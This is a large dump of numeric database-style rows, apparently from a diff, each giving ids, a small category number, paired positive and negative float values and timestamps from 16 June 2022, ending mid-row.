+24606,2,8886,11.93102873,-11.93102873,2022-06-16 11:44:09.329503+00 +24607,2,8950,11.88317831,-11.88317831,2022-06-16 11:44:09.330308+00 +24608,2,9014,11.8355915,-11.8355915,2022-06-16 11:44:09.33117+00 +24653,2,9085,6.555076509,-6.555076509,2022-06-16 11:44:19.541641+00 +24695,6,9067,6.024653342,-6.024653342,2022-06-16 11:44:35.317653+00 +28180,1,9467,4.108059098,-4.108059098,2022-06-16 11:56:50.101506+00 +28181,1,9323,4.299063985,-4.299063985,2022-06-16 11:56:50.102371+00 +28182,1,9259,4.287217133,-4.287217133,2022-06-16 11:56:50.103172+00 +28183,1,9195,4.275420164,-4.275420164,2022-06-16 11:56:50.103951+00 +28184,1,9387,4.263672783,-4.263672783,2022-06-16 11:56:50.10476+00 +52476,2,13614,3.014217395,-3.014217395,2022-06-16 14:05:05.51793+00 +48960,1,13054,1.980407211,-1.980407211,2022-06-16 13:46:35.747448+00 +48961,1,13022,5.862179117,-5.862179117,2022-06-16 13:46:35.750943+00 +48962,1,13038,2.529206689,-2.529206689,2022-06-16 13:46:35.751811+00 +32562,2,10207,8.198789341,-8.198789341,2022-06-16 12:19:04.823631+00 +39923,2,11437,4.931888344,-4.931888344,2022-06-16 12:58:24.421572+00 +32612,4,10154,9.074530106,-9.074530106,2022-06-16 12:19:12.860481+00 +25075,6,9183,12.24549617,-12.24549617,2022-06-16 11:46:24.711591+00 +30518,2,9853,5.921935787,-5.921935787,2022-06-16 12:08:19.466308+00 +30557,6,9886,11.99332541,-11.99332541,2022-06-16 12:08:44.803436+00 +27075,4,9299,8.709574781,-8.709574781,2022-06-16 11:52:32.594979+00 +28600,2,9536,4.829828776,-4.829828776,2022-06-16 11:59:04.567341+00 +34858,2,10591,7.987993037,-7.987993037,2022-06-16 12:31:04.942356+00 +32696,6,10240,5.036961879,-5.036961879,2022-06-16 12:20:04.320414+00 +25232,2,9215,6.263364923,-6.263364923,2022-06-16 11:47:05.339542+00 +28662,6,9582,10.76350165,-10.76350165,2022-06-16 11:59:08.544621+00 +25252,6,9147,5.811760525,-5.811760525,2022-06-16 11:47:09.982718+00 +48978,1,12952,6.737734645,-6.737734645,2022-06-16 13:46:41.747257+00 +25285,4,9047,16.02047572,-16.02047572,2022-06-16 11:47:17.116747+00 +25286,4,9111,15.95714021,-15.95714021,2022-06-16 11:47:17.118139+00 +24140,3,9086,13.57729591,-13.57729591,2022-06-16 11:42:05.082256+00 +25287,4,9175,15.89407507,-15.89407507,2022-06-16 11:47:17.119017+00 +25288,4,8982,16.95646724,-16.95646724,2022-06-16 11:47:17.119837+00 +25289,4,9046,16.88974897,-16.88974897,2022-06-16 11:47:17.120657+00 +25290,4,9110,16.82328995,-16.82328995,2022-06-16 11:47:17.12156+00 +25291,4,9182,8.431448368,-8.431448368,2022-06-16 11:47:17.122249+00 +25292,4,8911,17.56296042,-17.56296042,2022-06-16 11:47:17.122855+00 +25293,4,8975,17.49560821,-17.49560821,2022-06-16 11:47:17.12352+00 +25294,4,9039,17.42849395,-17.42849395,2022-06-16 11:47:17.124178+00 +25295,4,8974,17.77581692,-17.77581692,2022-06-16 11:47:17.124838+00 +25296,4,9038,17.70736744,-17.70736744,2022-06-16 11:47:17.125438+00 +25297,4,9102,17.63915441,-17.63915441,2022-06-16 11:47:17.126084+00 +25305,1,9112,10.5019429,-10.5019429,2022-06-16 11:47:29.106053+00 +32767,4,10237,3.934601696,-3.934601696,2022-06-16 12:20:12.021133+00 +28741,6,9598,8.675698497,-8.675698497,2022-06-16 11:59:23.2264+00 +32768,4,10221,3.821390217,-3.821390217,2022-06-16 12:20:12.022674+00 +32769,4,10189,15.85277695,-15.85277695,2022-06-16 12:20:12.023841+00 +30743,3,9682,19.96307085,-19.96307085,2022-06-16 12:10:02.057502+00 +32770,4,10303,4.105317351,-4.105317351,2022-06-16 12:20:12.024879+00 +32771,4,10287,5.313073551,-5.313073551,2022-06-16 12:20:12.025796+00 +32772,4,10271,7.070169745,-7.070169745,2022-06-16 12:20:12.026755+00 +48979,1,12960,4.732864245,-4.732864245,2022-06-16 13:46:41.748367+00 +25448,4,9270,11.68346806,-11.68346806,2022-06-16 11:48:06.57828+00 +25449,4,9214,5.918602948,-5.918602948,2022-06-16 11:48:06.581505+00 +25450,4,9200,0.640729136,0,2022-06-16 11:48:06.582496+00 +25451,4,9216,2.256258098,-2.256258098,2022-06-16 11:48:06.583408+00 +25471,6,9262,11.87761886,-11.87761886,2022-06-16 11:48:12.433423+00 +32798,4,10227,10.04062008,-10.04062008,2022-06-16 12:20:20.107751+00 +32799,4,10187,11.9140734,-11.9140734,2022-06-16 12:20:20.108915+00 +43082,2,11888,1.742395225,0,2022-06-16 13:13:04.783522+00 +49051,2,13054,2.648765183,-2.648765183,2022-06-16 13:47:05.846093+00 +32890,4,10136,9.323486072,-9.323486072,2022-06-16 12:20:47.346753+00 +29003,4,9578,10.23319719,-10.23319719,2022-06-16 12:00:49.652173+00 +25570,3,9262,15.70835512,-15.70835512,2022-06-16 11:49:01.991935+00 +29021,3,9662,12.51777107,-12.51777107,2022-06-16 12:00:53.961253+00 +37657,6,11134,5.749851106,-5.749851106,2022-06-16 12:46:26.536768+00 +31041,2,9983,5.151781369,-5.151781369,2022-06-16 12:11:09.620431+00 +35083,3,10671,13.22762405,-13.22762405,2022-06-16 12:32:06.952922+00 +25641,3,9213,9.316922724,-9.316922724,2022-06-16 11:49:05.864201+00 +46421,6,12544,4.069012582,-4.069012582,2022-06-16 13:32:17.559247+00 +46432,1,12520,15.05730557,-15.05730557,2022-06-16 13:32:23.688685+00 +40380,4,11224,8.769163244,-8.769163244,2022-06-16 13:00:31.12827+00 +40392,4,11288,8.742715483,-8.742715483,2022-06-16 13:00:39.947669+00 +60161,2,14830,1.671208761,-1.671208761,2022-06-16 14:43:05.254501+00 +37932,6,11197,2.126186373,-2.126186373,2022-06-16 12:48:05.43033+00 +27759,4,9387,2.846805934,-2.846805934,2022-06-16 11:54:49.053818+00 +49323,4,12960,5.786861974,-5.786861974,2022-06-16 13:48:24.570863+00 +25754,6,9246,12.81991805,-12.81991805,2022-06-16 11:49:34.405428+00 +33309,2,10350,5.857499324,-5.857499324,2022-06-16 12:23:04.98316+00 +56722,1,14313,4.214280572,-4.214280572,2022-06-16 14:28:35.9842+00 +38057,2,11136,3.94940299,-3.94940299,2022-06-16 12:49:04.687498+00 +52904,6,13695,3.262173179,-3.262173179,2022-06-16 14:07:13.885614+00 +31360,2,9898,7.017200433,-7.017200433,2022-06-16 12:12:53.230904+00 +56723,1,14314,2.041223068,-2.041223068,2022-06-16 14:28:35.984942+00 +35488,3,10688,6.550396465,-6.550396465,2022-06-16 12:34:08.697656+00 +46866,1,12655,3.155659391,-3.155659391,2022-06-16 13:34:59.715647+00 +31431,6,9979,4.632034311,-4.632034311,2022-06-16 12:13:10.33429+00 +29386,1,9709,4.465554635,-4.465554635,2022-06-16 12:02:35.162373+00 +29387,1,9725,4.588881748,-4.588881748,2022-06-16 12:02:35.16575+00 +46867,1,12671,2.449225764,-2.449225764,2022-06-16 13:34:59.718685+00 +35571,4,10517,12.29592806,-12.29592806,2022-06-16 12:34:39.879136+00 +35590,4,10552,8.214809277,-8.214809277,2022-06-16 12:34:45.549697+00 +33605,6,10368,5.068848911,-5.068848911,2022-06-16 12:24:27.584912+00 +49612,1,13150,5.817584174,-5.817584174,2022-06-16 13:50:14.785792+00 +29453,4,9499,4.537841379,-4.537841379,2022-06-16 12:02:47.200655+00 +29454,4,9563,4.52774946,-4.52774946,2022-06-16 12:02:47.202249+00 +29455,4,9627,4.517694488,-4.517694488,2022-06-16 12:02:47.203315+00 +29468,6,9643,5.305768738,-5.305768738,2022-06-16 12:02:50.578719+00 +38243,3,11262,9.848408196,-9.848408196,2022-06-16 12:50:04.905744+00 +29492,2,9695,8.542819808,-8.542819808,2022-06-16 12:03:04.689597+00 +43975,2,12011,4.996689127,-4.996689127,2022-06-16 13:17:14.472537+00 +38275,3,11182,11.93476759,-11.93476759,2022-06-16 12:50:06.65817+00 +38276,3,11246,11.85746975,-11.85746975,2022-06-16 12:50:06.661757+00 +49613,1,13166,2.441059837,-2.441059837,2022-06-16 13:50:14.789558+00 +38339,6,11261,2.074989548,-2.074989548,2022-06-16 12:50:23.628805+00 +35788,3,10683,9.009982954,-9.009982954,2022-06-16 12:35:55.537203+00 +49614,1,13182,1.918550401,-1.918550401,2022-06-16 13:50:14.790943+00 +53074,1,13741,1.600919712,-1.600919712,2022-06-16 14:08:20.849957+00 +40907,4,11545,12.68885521,-12.68885521,2022-06-16 13:03:07.651251+00 +24141,4,8952,8.743807193,-8.743807193,2022-06-16 11:42:05.08529+00 +24341,2,9086,6.304851087,-6.304851087,2022-06-16 11:43:05.227519+00 +39641,2,11455,3.647870331,-3.647870331,2022-06-16 12:57:05.373826+00 +56375,6,14256,1.713763866,0,2022-06-16 14:27:04.463098+00 +28121,6,9427,14.5779351,-14.5779351,2022-06-16 11:56:22.69164+00 +28150,1,9456,0.701680489,0,2022-06-16 11:56:26.08285+00 +28151,1,9472,2.364318433,-2.364318433,2022-06-16 11:56:26.084363+00 +30220,2,9776,1.582994225,0,2022-06-16 12:07:04.469105+00 +24609,4,9069,5.332919524,-5.332919524,2022-06-16 11:44:09.507457+00 +24610,4,9085,5.477941256,-5.477941256,2022-06-16 11:44:09.511404+00 +24654,4,9075,10.60673478,-10.60673478,2022-06-16 11:44:20.499291+00 +24655,4,9035,13.21022551,-13.21022551,2022-06-16 11:44:20.502679+00 +24656,4,9083,3.002269587,-3.002269587,2022-06-16 11:44:20.50363+00 +24657,4,9067,3.076205128,-3.076205128,2022-06-16 11:44:20.504491+00 +24658,4,9051,4.59746099,-4.59746099,2022-06-16 11:44:20.505356+00 +48963,3,12717,4.706796421,-4.706796421,2022-06-16 13:46:37.908375+00 +24738,6,9119,12.35521798,-12.35521798,2022-06-16 11:44:47.73586+00 +24159,6,9008,1.761759263,0,2022-06-16 11:42:05.760658+00 +24778,3,9066,11.12199366,-11.12199366,2022-06-16 11:44:57.448433+00 +63921,6,15278,1.434322901,0,2022-06-16 14:56:59.602016+00 +32426,6,10131,13.99162507,-13.99162507,2022-06-16 12:18:19.24134+00 +32444,1,10176,1.894559474,-1.894559474,2022-06-16 12:18:26.242111+00 +24164,6,9024,5.847114982,-5.847114982,2022-06-16 11:42:06.086673+00 +24165,4,9024,2.308774712,-2.308774712,2022-06-16 11:42:06.969811+00 +24166,4,9008,0.640201773,0,2022-06-16 11:42:06.973986+00 +32445,1,10160,0.642966195,0,2022-06-16 12:18:26.243533+00 +24886,2,9130,8.240799265,-8.240799265,2022-06-16 11:45:27.741244+00 +32446,1,10137,8.358681015,-8.358681015,2022-06-16 12:18:26.244343+00 +28488,1,9520,0.697590917,0,2022-06-16 11:58:17.133053+00 +28489,1,9514,11.26617944,-11.26617944,2022-06-16 11:58:17.136718+00 +24172,3,9070,16.0974672,-16.0974672,2022-06-16 11:42:07.247998+00 +24173,3,9071,16.20995105,-16.20995105,2022-06-16 11:42:07.251846+00 +28490,1,9536,2.268240459,-2.268240459,2022-06-16 11:58:17.137607+00 +32447,1,10169,8.253045894,-8.253045894,2022-06-16 12:18:26.245108+00 +30519,4,9886,7.628658132,-7.628658132,2022-06-16 12:08:19.519276+00 +27019,6,9323,5.868551042,-5.868551042,2022-06-16 11:52:25.887831+00 +32448,1,10153,8.241628057,-8.241628057,2022-06-16 12:18:26.245891+00 +32449,1,10145,9.192812404,-9.192812404,2022-06-16 12:18:26.246672+00 +63947,4,15209,6.731677371,-6.731677371,2022-06-16 14:57:01.326357+00 +30661,2,9919,5.26669749,-5.26669749,2022-06-16 12:09:05.477542+00 +25186,6,9213,3.848564698,-3.848564698,2022-06-16 11:46:58.631046+00 +24183,6,9053,8.540664943,-8.540664943,2022-06-16 11:42:07.563717+00 +52811,1,13587,7.788210802,-7.788210802,2022-06-16 14:06:56.836664+00 +46109,6,12543,4.24821477,-4.24821477,2022-06-16 13:30:21.292882+00 +32613,6,10154,9.523497597,-9.523497597,2022-06-16 12:19:14.227318+00 +34908,2,10555,5.567679783,-5.567679783,2022-06-16 12:31:14.450419+00 +25306,2,9194,8.038172256,-8.038172256,2022-06-16 11:47:29.63514+00 +52812,1,13679,2.306059435,-2.306059435,2022-06-16 14:06:56.840038+00 +27266,2,9325,6.067846943,-6.067846943,2022-06-16 11:53:14.488743+00 +30793,3,9919,12.04938623,-12.04938623,2022-06-16 12:10:06.324894+00 +30794,3,9983,11.9714865,-11.9714865,2022-06-16 12:10:06.328762+00 +49325,6,13101,0.981506182,-0.981506182,2022-06-16 13:48:26.065249+00 +24194,1,9019,4.498881848,-4.498881848,2022-06-16 11:42:08.078568+00 +24195,1,9003,4.603324886,-4.603324886,2022-06-16 11:42:08.079807+00 +30827,4,9917,4.369425396,-4.369425396,2022-06-16 12:10:09.497134+00 +30828,4,9901,4.243977453,-4.243977453,2022-06-16 12:10:09.498443+00 +30829,4,9869,16.45712267,-16.45712267,2022-06-16 12:10:09.49961+00 +28944,2,9581,5.910465373,-5.910465373,2022-06-16 12:00:19.403397+00 +25452,4,9133,5.255573796,-5.255573796,2022-06-16 11:48:08.968339+00 +25453,4,9197,5.238108308,-5.238108308,2022-06-16 11:48:08.971887+00 +25454,4,9149,5.392497323,-5.392497323,2022-06-16 11:48:08.972751+00 +25455,4,9213,5.374462613,-5.374462613,2022-06-16 11:48:08.974031+00 +24204,4,9005,5.39490281,-5.39490281,2022-06-16 11:42:09.558202+00 +24205,4,9021,5.541580838,-5.541580838,2022-06-16 11:42:09.561424+00 +32784,6,10285,2.710519807,-2.710519807,2022-06-16 12:20:15.580125+00 +24207,4,9006,8.278656372,-8.278656372,2022-06-16 11:42:11.244328+00 +24208,4,9070,8.24781524,-8.24781524,2022-06-16 11:42:11.245837+00 +24209,4,9071,7.982417108,-7.982417108,2022-06-16 11:42:11.246901+00 +24210,4,9007,7.953575613,-7.953575613,2022-06-16 11:42:11.247859+00 +24211,4,9022,6.479948752,-6.479948752,2022-06-16 11:42:11.248757+00 +24212,4,9086,6.457705225,-6.457705225,2022-06-16 11:42:11.249746+00 +24213,4,9054,8.81768842,-8.81768842,2022-06-16 11:42:11.250617+00 +24214,4,8938,11.85976047,-11.85976047,2022-06-16 11:42:11.251507+00 +25485,4,9263,7.35422154,-7.35422154,2022-06-16 11:48:16.868909+00 +49403,3,13040,2.70959528,0,2022-06-16 13:48:59.970587+00 +25508,6,9237,11.72967568,-11.72967568,2022-06-16 11:48:26.516576+00 +25529,1,9211,4.33601836,-4.33601836,2022-06-16 11:48:32.079726+00 +24219,6,9069,3.925257584,-3.925257584,2022-06-16 11:42:13.545213+00 +24220,4,9078,12.28504922,-12.28504922,2022-06-16 11:42:13.709236+00 +24221,4,8758,12.23513212,-12.23513212,2022-06-16 11:42:13.71085+00 +24222,4,8822,12.18548937,-12.18548937,2022-06-16 11:42:13.711673+00 +24223,4,8886,12.13611966,-12.13611966,2022-06-16 11:42:13.712457+00 +24224,4,8950,12.08702169,-12.08702169,2022-06-16 11:42:13.713206+00 +24225,4,9014,12.03819413,-12.03819413,2022-06-16 11:42:13.714011+00 +24226,1,9070,7.292157646,-7.292157646,2022-06-16 11:42:14.10823+00 +24227,1,9086,5.672954179,-5.672954179,2022-06-16 11:42:14.111557+00 +25530,1,8978,22.21157779,-22.21157779,2022-06-16 11:48:32.081069+00 +52813,1,13655,14.34118436,-14.34118436,2022-06-16 14:06:56.841039+00 +37720,4,11065,13.80609052,-13.80609052,2022-06-16 12:47:04.690072+00 +37721,4,11033,13.90042021,-13.90042021,2022-06-16 12:47:04.693325+00 +35134,2,10621,5.480845485,-5.480845485,2022-06-16 12:32:24.553859+00 +63971,7,15215,12.02326455,-12.02326455,2022-06-16 14:57:05.558028+00 +29091,2,9600,4.780747478,-4.780747478,2022-06-16 12:01:04.591746+00 +35173,6,10619,4.058365594,-4.058365594,2022-06-16 12:32:30.955633+00 +29112,2,9647,7.251950113,-7.251950113,2022-06-16 12:01:05.072955+00 +31042,4,9784,8.552418197,-8.552418197,2022-06-16 12:11:10.538525+00 +40312,2,11517,5.052862047,-5.052862047,2022-06-16 13:00:19.42248+00 +56724,1,14322,9.689286953,-9.689286953,2022-06-16 14:28:35.985735+00 +24240,6,9085,4.039263455,-4.039263455,2022-06-16 11:42:15.979502+00 +24241,4,9011,10.44015172,-10.44015172,2022-06-16 11:42:20.439918+00 +24242,4,9019,3.088623983,-3.088623983,2022-06-16 11:42:20.443307+00 +24243,4,8971,13.30048402,-13.30048402,2022-06-16 11:42:20.444595+00 +24244,4,8987,4.642121933,-4.642121933,2022-06-16 11:42:20.445459+00 +24245,4,9003,3.154631287,-3.154631287,2022-06-16 11:42:20.446276+00 +24246,1,9053,10.54751355,-10.54751355,2022-06-16 11:42:23.100682+00 +24247,1,9085,5.212742767,-5.212742767,2022-06-16 11:42:23.104297+00 +24248,1,9061,16.19977769,-16.19977769,2022-06-16 11:42:23.105125+00 +24249,1,9069,5.045859243,-5.045859243,2022-06-16 11:42:23.105952+00 +43528,2,12015,4.142405008,-4.142405008,2022-06-16 13:15:05.298293+00 +49615,4,13167,2.141492336,-2.141492336,2022-06-16 13:50:15.281347+00 +33219,6,10317,12.79930061,-12.79930061,2022-06-16 12:22:21.445671+00 +33236,4,10259,7.707904593,-7.707904593,2022-06-16 12:22:30.034516+00 +24254,2,9005,6.469803145,-6.469803145,2022-06-16 11:42:24.560999+00 +27760,1,9385,9.002915082,-9.002915082,2022-06-16 11:54:50.106859+00 +27761,1,9369,9.091277219,-9.091277219,2022-06-16 11:54:50.11023+00 +27762,1,9393,9.148241469,-9.148241469,2022-06-16 11:54:50.111079+00 +27763,1,9401,8.963954425,-8.963954425,2022-06-16 11:54:50.111887+00 +24259,2,9021,6.636468126,-6.636468126,2022-06-16 11:42:24.694345+00 +24260,4,8979,9.232284489,-9.232284489,2022-06-16 11:42:27.875024+00 +24261,4,8864,6.260041118,-6.260041118,2022-06-16 11:42:29.131042+00 +24262,4,8928,6.243535513,-6.243535513,2022-06-16 11:42:36.588417+00 +26422,2,9343,6.111650725,-6.111650725,2022-06-16 11:51:05.412155+00 +24440,3,9021,9.582843651,-9.582843651,2022-06-16 11:43:21.286066+00 +37089,2,10923,5.950112843,-5.950112843,2022-06-16 12:43:14.413121+00 +24267,6,9037,14.33765461,-14.33765461,2022-06-16 11:42:38.38322+00 +34607,6,10474,8.799538331,-8.799538331,2022-06-16 12:30:03.97217+00 +60059,6,14815,9.639721163,-9.639721163,2022-06-16 14:42:39.306923+00 +30319,6,9839,9.572175286,-9.572175286,2022-06-16 12:07:28.023811+00 +45855,1,12463,3.317245412,-3.317245412,2022-06-16 13:28:35.634878+00 +45856,1,12479,2.578213782,-2.578213782,2022-06-16 13:28:35.638239+00 +24273,3,9072,2.631266379,0,2022-06-16 11:42:38.538699+00 +24274,1,9008,0.753718911,0,2022-06-16 11:42:41.103258+00 +24275,1,9024,2.689029144,-2.689029144,2022-06-16 11:42:41.106583+00 +28408,3,9534,12.74328663,-12.74328663,2022-06-16 11:58:04.665383+00 +34909,1,10552,8.047160783,-8.047160783,2022-06-16 12:31:17.374398+00 +24280,6,9045,11.9200157,-11.9200157,2022-06-16 11:42:44.701214+00 +30520,1,9840,0.675686289,0,2022-06-16 12:08:20.213056+00 +30521,1,9856,2.120669154,-2.120669154,2022-06-16 12:08:20.216331+00 +46112,6,12501,7.406764661,-7.406764661,2022-06-16 13:30:21.976885+00 +30601,6,9887,11.38927913,-11.38927913,2022-06-16 12:09:04.533041+00 +24966,6,8938,11.99936268,-11.99936268,2022-06-16 11:45:58.431804+00 +32792,6,10301,2.798457747,-2.798457747,2022-06-16 12:20:17.566226+00 +49330,6,13117,1.525752288,-1.525752288,2022-06-16 13:48:27.930628+00 +43288,3,11951,10.27078277,-10.27078277,2022-06-16 13:14:05.924816+00 +40252,3,11503,11.16438802,-11.16438802,2022-06-16 13:00:08.013674+00 +40253,3,11567,11.09272555,-11.09272555,2022-06-16 13:00:08.017267+00 +40274,4,11567,3.612967626,-3.612967626,2022-06-16 13:00:13.421687+00 +25187,1,9213,5.058421772,-5.058421772,2022-06-16 11:46:59.106902+00 +25188,1,9181,10.48556746,-10.48556746,2022-06-16 11:46:59.110758+00 +25189,1,9197,4.915677402,-4.915677402,2022-06-16 11:46:59.111682+00 +30795,4,9920,2.021392549,-2.021392549,2022-06-16 12:10:06.524305+00 +30796,4,9904,0.648245088,0,2022-06-16 12:10:06.528028+00 +30825,3,9903,14.48673981,-14.48673981,2022-06-16 12:10:08.206399+00 +27242,2,9391,7.787877807,-7.787877807,2022-06-16 11:53:05.196625+00 +28870,3,9554,20.24054008,-20.24054008,2022-06-16 11:59:57.844563+00 +30826,3,9967,14.39629323,-14.39629323,2022-06-16 12:10:08.2098+00 +33000,7,10218,8.862135738,-8.862135738,2022-06-16 12:21:45.805951+00 +28927,6,9555,14.51249393,-14.51249393,2022-06-16 12:00:15.276657+00 +30851,1,9898,9.909336462,-9.909336462,2022-06-16 12:10:14.189629+00 +27375,1,9336,9.468754295,-9.468754295,2022-06-16 11:53:50.151694+00 +27376,1,9304,10.35708837,-10.35708837,2022-06-16 11:53:50.155076+00 +27377,1,9312,6.784392997,-6.784392997,2022-06-16 11:53:50.155964+00 +28953,1,9593,8.809323372,-8.809323372,2022-06-16 12:00:20.133769+00 +28954,1,9577,8.796652628,-8.796652628,2022-06-16 12:00:20.135094+00 +28955,1,9561,8.883814847,-8.883814847,2022-06-16 12:00:20.135927+00 +25492,2,9213,6.451254845,-6.451254845,2022-06-16 11:48:19.421534+00 +28967,1,9562,17.83230309,-17.83230309,2022-06-16 12:00:23.134002+00 +27496,7,9322,10.6491068,-10.6491068,2022-06-16 11:54:17.848828+00 +28968,1,9578,10.96602488,-10.96602488,2022-06-16 12:00:23.135183+00 +25557,6,9216,5.728573563,-5.728573563,2022-06-16 11:48:44.563279+00 +28969,1,9594,17.78643907,-17.78643907,2022-06-16 12:00:23.136028+00 +25585,3,9278,13.15450697,-13.15450697,2022-06-16 11:49:02.418139+00 +35176,6,10669,2.405490969,-2.405490969,2022-06-16 12:32:32.915585+00 +25600,2,9216,5.120895542,-5.120895542,2022-06-16 11:49:04.589804+00 +40275,4,11583,2.793984605,-2.793984605,2022-06-16 13:00:13.423092+00 +29024,3,9663,12.42102106,-12.42102106,2022-06-16 12:00:54.023182+00 +40276,4,11413,10.71228402,-10.71228402,2022-06-16 13:00:13.424045+00 +30917,6,9915,4.75209093,-4.75209093,2022-06-16 12:10:35.587627+00 +25659,1,9106,22.04722353,-22.04722353,2022-06-16 11:49:08.107582+00 +29057,6,9631,11.76184711,-11.76184711,2022-06-16 12:00:59.525014+00 +27642,6,9469,3.519127269,-3.519127269,2022-06-16 11:54:30.451246+00 +37896,3,11135,9.883634353,-9.883634353,2022-06-16 12:48:04.020125+00 +40277,4,11360,6.011571644,-6.011571644,2022-06-16 13:00:13.425073+00 +30969,6,9904,1.810695908,0,2022-06-16 12:10:51.193452+00 +37958,4,11085,14.98357796,-14.98357796,2022-06-16 12:48:10.670233+00 +31021,2,9966,6.247774297,-6.247774297,2022-06-16 12:11:05.014384+00 +37959,4,11133,2.892031977,-2.892031977,2022-06-16 12:48:10.671625+00 +37960,4,11101,8.907772466,-8.907772466,2022-06-16 12:48:10.67248+00 +27764,4,9386,10.78612416,-10.78612416,2022-06-16 11:54:51.456525+00 +29200,4,9655,12.04859849,-12.04859849,2022-06-16 12:01:36.806022+00 +29201,4,9654,11.68746157,-11.68746157,2022-06-16 12:01:36.809501+00 +40307,4,11535,15.8486696,-15.8486696,2022-06-16 13:00:18.696435+00 +43289,3,12015,10.20516038,-10.20516038,2022-06-16 13:14:05.928945+00 +25806,4,9194,11.14535397,-11.14535397,2022-06-16 11:49:41.21376+00 +33376,7,10346,8.740591959,-8.740591959,2022-06-16 12:23:21.555717+00 +35489,4,10750,3.839215591,-3.839215591,2022-06-16 12:34:09.066716+00 +29285,4,9600,2.052401771,-2.052401771,2022-06-16 12:02:07.924915+00 +29286,4,9664,2.049034529,-2.049034529,2022-06-16 12:02:07.928394+00 +29287,4,9584,0.641482551,0,2022-06-16 12:02:07.929453+00 +27882,2,9403,6.704840611,-6.704840611,2022-06-16 11:55:14.532456+00 +29288,4,9648,0.641401948,0,2022-06-16 12:02:07.930634+00 +43316,4,12014,3.292169209,-3.292169209,2022-06-16 13:14:10.120831+00 +33467,3,10352,2.648530839,0,2022-06-16 12:24:01.602347+00 +43317,4,12030,2.605408843,-2.605408843,2022-06-16 13:14:10.121954+00 +43318,4,11968,1.383713084,-1.383713084,2022-06-16 13:14:10.122841+00 +31240,6,10030,9.5557986,-9.5557986,2022-06-16 12:12:18.846107+00 +35613,1,10648,8.834624501,-8.834624501,2022-06-16 12:35:02.379445+00 +31263,2,9981,5.861885248,-5.861885248,2022-06-16 12:12:19.408966+00 +31277,4,10006,16.23766477,-16.23766477,2022-06-16 12:12:28.147095+00 +43319,4,11998,6.439172499,-6.439172499,2022-06-16 13:14:10.123591+00 +31316,1,9960,17.03282566,-17.03282566,2022-06-16 12:12:41.237884+00 +31317,1,10045,4.437615676,-4.437615676,2022-06-16 12:12:41.239246+00 +29480,2,9648,1.580166587,0,2022-06-16 12:03:04.445908+00 +31318,1,10029,4.310799182,-4.310799182,2022-06-16 12:12:41.240052+00 +33610,3,10109,7.732173366,-7.732173366,2022-06-16 12:24:31.409841+00 +64415,2,15277,2.811133187,0,2022-06-16 14:58:24.429904+00 +29517,2,9727,5.523779699,-5.523779699,2022-06-16 12:03:05.229193+00 +31361,1,9962,9.714592351,-9.714592351,2022-06-16 12:12:59.265583+00 +29528,2,9643,6.686278489,-6.686278489,2022-06-16 12:03:14.425426+00 +35667,4,10425,15.5317284,-15.5317284,2022-06-16 12:35:07.49983+00 +35668,4,10489,15.45384248,-15.45384248,2022-06-16 12:35:07.501076+00 +33708,2,10414,5.756341661,-5.756341661,2022-06-16 12:25:05.020204+00 +35669,4,10553,15.37639136,-15.37639136,2022-06-16 12:35:07.50189+00 +31440,7,9898,9.365184228,-9.365184228,2022-06-16 12:13:11.650661+00 +31456,3,9962,9.241365128,-9.241365128,2022-06-16 12:13:19.577674+00 +31462,1,9982,4.416124655,-4.416124655,2022-06-16 12:13:23.238061+00 +31463,1,9983,4.34122101,-4.34122101,2022-06-16 12:13:23.241943+00 +31464,1,10046,4.404073086,-4.404073086,2022-06-16 12:13:23.242907+00 +25969,3,9342,13.11109378,-13.11109378,2022-06-16 11:50:05.060174+00 +31465,1,10047,4.329454979,-4.329454979,2022-06-16 12:13:23.243749+00 +35670,4,10617,15.29937474,-15.29937474,2022-06-16 12:35:07.502726+00 +25976,3,9343,13.03538542,-13.03538542,2022-06-16 11:50:05.166747+00 +33756,6,10415,8.257491549,-8.257491549,2022-06-16 12:25:18.021733+00 +35671,4,10681,15.22279225,-15.22279225,2022-06-16 12:35:07.50386+00 +35672,4,10409,15.34467449,-15.34467449,2022-06-16 12:35:07.504703+00 +35673,4,10473,15.26817308,-15.26817308,2022-06-16 12:35:07.50535+00 +32177,1,10134,15.44413973,-15.44413973,2022-06-16 12:17:05.241404+00 +32178,1,10142,6.984846807,-6.984846807,2022-06-16 12:17:05.242769+00 +32179,1,10166,11.26858002,-11.26858002,2022-06-16 12:17:05.243632+00 +32180,1,10158,5.314851397,-5.314851397,2022-06-16 12:17:05.244431+00 +32181,1,10159,5.530668033,-5.530668033,2022-06-16 12:17:05.245236+00 +32182,1,10143,7.165431254,-7.165431254,2022-06-16 12:17:05.246031+00 +32183,1,10175,4.225049158,-4.225049158,2022-06-16 12:17:05.246728+00 +42550,6,11870,10.66206677,-10.66206677,2022-06-16 13:10:58.943619+00 +32249,3,10159,14.11137762,-14.11137762,2022-06-16 12:17:19.20938+00 +30522,4,9851,2.32205839,-2.32205839,2022-06-16 12:08:22.894615+00 +34526,3,10304,6.857142681,-6.857142681,2022-06-16 12:29:31.443602+00 +34527,3,10368,6.818270569,-6.818270569,2022-06-16 12:29:31.446824+00 +34528,3,10432,6.779671409,-6.779671409,2022-06-16 12:29:31.447591+00 +34529,3,10496,6.741342431,-6.741342431,2022-06-16 12:29:31.448304+00 +34530,3,10560,6.703280888,-6.703280888,2022-06-16 12:29:31.44902+00 +34661,3,10543,13.33517377,-13.33517377,2022-06-16 12:30:05.901679+00 +34688,4,10541,3.417303816,-3.417303816,2022-06-16 12:30:09.857007+00 +27051,2,9341,6.247475618,-6.247475618,2022-06-16 11:52:29.439886+00 +34689,4,10525,9.624113476,-9.624113476,2022-06-16 12:30:09.858188+00 +30831,6,9941,10.84190672,-10.84190672,2022-06-16 12:10:10.831699+00 +30861,4,9696,6.311141184,-6.311141184,2022-06-16 12:10:14.597701+00 +30862,4,9935,16.98312556,-16.98312556,2022-06-16 12:10:15.851695+00 +26010,3,9326,15.57608619,-15.57608619,2022-06-16 11:50:06.973583+00 +27159,6,9374,12.635527,-12.635527,2022-06-16 11:52:54.01391+00 +34690,4,10509,15.53650611,-15.53650611,2022-06-16 12:30:09.859123+00 +26013,4,9280,2.235544803,-2.235544803,2022-06-16 11:50:07.031334+00 +26014,4,9264,0.640085522,0,2022-06-16 11:50:07.035183+00 +26015,4,9262,7.402979193,-7.402979193,2022-06-16 11:50:07.036796+00 +30901,4,9760,6.294371601,-6.294371601,2022-06-16 12:10:23.832577+00 +26017,4,9326,7.377137921,-7.377137921,2022-06-16 11:50:07.038517+00 +26018,4,9310,8.307212008,-8.307212008,2022-06-16 11:50:07.040027+00 +26019,4,9278,5.765710793,-5.765710793,2022-06-16 11:50:07.041381+00 +26020,4,9342,5.747330688,-5.747330688,2022-06-16 